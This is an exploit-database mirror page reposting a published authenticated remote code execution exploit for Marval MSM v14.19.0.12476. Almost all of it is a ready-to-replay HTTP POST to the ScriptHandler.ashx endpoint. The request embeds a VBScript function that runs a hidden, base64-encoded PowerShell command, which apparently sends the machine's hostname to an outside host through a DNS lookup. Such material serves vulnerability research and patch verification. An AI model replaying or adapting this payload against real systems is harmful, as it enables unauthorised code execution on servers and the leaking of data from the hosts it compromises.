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Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022060054

Below is a copy:

Marval MSM 14.19.0.12476 Remote Code Execution
# Exploit Title: Marval MSM v14.19.0.12476 - Remote Code Execution (RCE) (Authenticated)
# Date: 27/5/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: https://www.marvalnorthamerica.com/
# Software Link: https://www.marvalnorthamerica.com/
# Version: v14.19.0.12476
# Tested on: Windows
# Detailed blog: https://cyber-guy.gitbook.io/cyber-guy/blogs/marval-msm-rce

POST /MSM_Test/RFP/Forms/ScriptHandler.ashx?method=ProcessScript&classPath=%2FMSM_Test%2FRFP%2FForms%2FScriptMaintenance.aspx&classMode=WXr8G2r3eh0wvNjbiIT6aYVgZATjWlaZW0UFQrQrcAku4qWefyYTUu%2BzULTTON0fQaLjNtnCW7VX%2Fj1rYPDpKKN%2F8HPLGRSpVbdvPaR4mPIrSr4Aj22VMuIDEkMTpPhoq3gX8p4TBir56GBTJcpLv1agwKPB%2BWI%2F2TlU%2FjQKzz0%3D HTTP/2
Host: MSMHandler.io
Cookie: ASP.NET_SessionId=arrsgikvbwbagdsvetfvphbu; appNameAuth=B3D1490922B24585684E139359F3BB93D8D92468A906B1FEA01EB4CF760A23DC90BF30327784677BBC00C5860C145602EF39BB9BEBB6A451E57DBF42C47B7D0CDE09F4CE15D2A5BEBFFCE5A7BFCF7DED8D8B17036F2BCE3DDA873B542EED614B9B42E4B5E4AA18BBE32CC0EB864E6825C898A2F465A42E871DF13F19845E171697D5E23688EAD29D3F6B221DBF18002DE5B929DBA88D42B4B518BC95F5BC5F3A3D36722F
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: application/json, text/javascript, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 456
Origin: https://MSMHandler.io
Dnt: 1
Referer: https://MSMHandler.io/MSM_Test/RFP/Forms/ScriptMaintenance.aspx?id=3
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

type=%221%22&content=%22%5Cn%5CnFunction+Pwn()%5Cn++Set+shell+%3D+CreateObject(%5C%22wscript.Shell%5C%22)%5Cn%5Cn%5Cn++++shell.run+%5C%22powershell.exe+-nop+-w+hidden+-E+%5C%22%5C%22JAB2AGEAcgA9AGgAbwBzAHQAbgBhAG0AZQA7AG4AcwBsAG8AbwBrAHUAcAAgAGsAcgBmADUAbAB2AGYANABzAGUAdABtAGoAMgB2AG4AZABiADUAOQBsADQAdgBtAGcAZABtADUAawB0ADkALgAkAHYAYQByAC4AbwBhAHMAdABpAGYAeQAuAGMAbwBtAA%3D%3D%5C%22%5C%22%5C%22%5Cn%5Cn%5CnEnd+Function%5Cn%5CnPwn%22&id=%2226%22&isCi=true

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